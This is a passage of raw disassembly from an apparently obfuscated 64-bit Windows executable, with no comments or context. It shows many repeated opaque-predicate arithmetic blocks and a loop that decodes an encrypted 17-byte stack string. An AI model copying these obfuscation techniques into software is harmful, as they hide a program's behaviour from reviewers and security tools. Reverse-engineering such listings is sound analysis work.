lea rdx, [rsp + 0xe60]
lea rcx, [rsp + 0x18c8]
call fcn.140001d00
or dword [rsp + 0xa0], 0x1000000
movsd xmm6, qword [0x140073f60]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004a0cd
mov rcx, r12
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400497ec
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400497ec
mov ebx, 7
jmp 0x140049887
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004947c
call fcn.1400037a0
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.140003780
movsx edx, byte [0x14007d2e0]
imul edx, ebx
lea ebx, [rdx + rdx*4]
sub ebx, edi
movsx edx, byte [0x14007c0dc]
movsx ecx, al
lea eax, [rbx + rdx]
add eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004847b
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004847b
mov ebx, r15d
jmp 0x140048516
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004850f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140048516
mov ebx, dword [rsp + 0x1680]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
movsx ecx, al
mov eax, edi
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x1400489b8
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movsd xmm6, qword [0x140073f60]
mulsd xmm1, xmm6
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004860c
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
jne 0x140048677
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140048677
movzx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
call fcn.140003790
call fcn.140003760
call fcn.140003750
movzx eax, byte [reloc.OLEAUT32.dll_VariantClear]
movzx eax, byte [0x14007c0db]
movsd xmm0, qword [rsp + 0x50]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*4]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140049484
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400487b4
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400487b4
mov ebx, r15d
jmp 0x14004884f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140048848
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004884f
mov ebx, dword [rsp + 0x1680]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140049484
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140048944
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
jne 0x140049484
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140049484
movzx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
call fcn.140003790
call fcn.140003760
call fcn.140003750
movzx eax, byte [reloc.OLEAUT32.dll_VariantClear]
movzx eax, byte [0x14007c0db]
movsd xmm0, qword [rsp + 0x50]
jmp 0x140049484
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004947c
mov rax, r12
cmp byte [rsp + 0x16d8], 0
sete al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140048ac6
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140048ac6
mov ebx, r15d
jmp 0x140048b61
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140048b5a
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140048b61
mov ebx, dword [rsp + 0x1680]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140048e24
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140048ca3
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140048ca3
mov eax, r15d
jmp 0x140048d3e
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140048d37
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x140048d3e
mov eax, dword [rsp + 0x1680]
cmp r12d, eax
jge 0x14004947c
mov byte [rsp + 0xea0], 0xef
mov byte [rsp + 0xea1], 0xcf
mov byte [rsp + 0xea2], 0x92
mov byte [rsp + 0xea3], 0xd1
mov byte [rsp + 0xea4], 0xd5
mov byte [rsp + 0xea5], 0xc1
mov byte [rsp + 0xea6], 0xc2
mov byte [rsp + 0xea7], 0xd2
mov byte [rsp + 0xea8], 0xba
mov byte [rsp + 0xea9], 0x40
mov byte [rsp + 0xeaa], 0xca
xor eax, eax
mov dword [rsp + 0xeab], eax
mov word [rsp + 0xeaf], ax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x11
jae 0x140048e17
movabs r8, 0x4dca264eeae4fcb8
nop word [rax + rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xea0]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 8
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xea0], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x11
jb 0x140048dd0
lea rdx, [rsp + 0xea0]
jmp 0x14004820f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004947c
call fcn.1400037a0
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.140003780
movsx edx, byte [0x14007d2e0]
imul edx, ebx
imul ebx, edx, 7
sub ebx, edi
movsx edx, byte [0x14007c0dc]
movsx ecx, al
lea eax, [rbx + rdx]
add eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140048f51
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140048f51
mov ebx, r15d
jmp 0x140048fec
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140048fe5
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140048fec
mov ebx, dword [rsp + 0x1680]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140049580
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400490dd
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
jne 0x140049148
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140049148
movzx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
call fcn.140003790
call fcn.140003760
call fcn.140003750
movzx eax, byte [reloc.OLEAUT32.dll_VariantClear]
movzx eax, byte [0x14007c0db]
movsd xmm0, qword [rsp + 0x50]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004947c
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140049284
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140049284
mov ebx, r15d
jmp 0x14004931f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140049318
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004931f
mov ebx, dword [rsp + 0x1680]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
movsx ecx, al
mov eax, edi
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004947c
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x140073f98]
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140049411
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
jne 0x14004947c
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004947c
movzx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
call fcn.140003790
call fcn.140003760
call fcn.140003750
movzx eax, byte [reloc.OLEAUT32.dll_VariantClear]
movzx eax, byte [0x14007c0db]
movsd xmm0, qword [rsp + 0x50]
movsd xmm6, qword [0x140073f60]
call fcn.140003750
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx r8d, al
imul ebx, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*4]
add eax, r8d
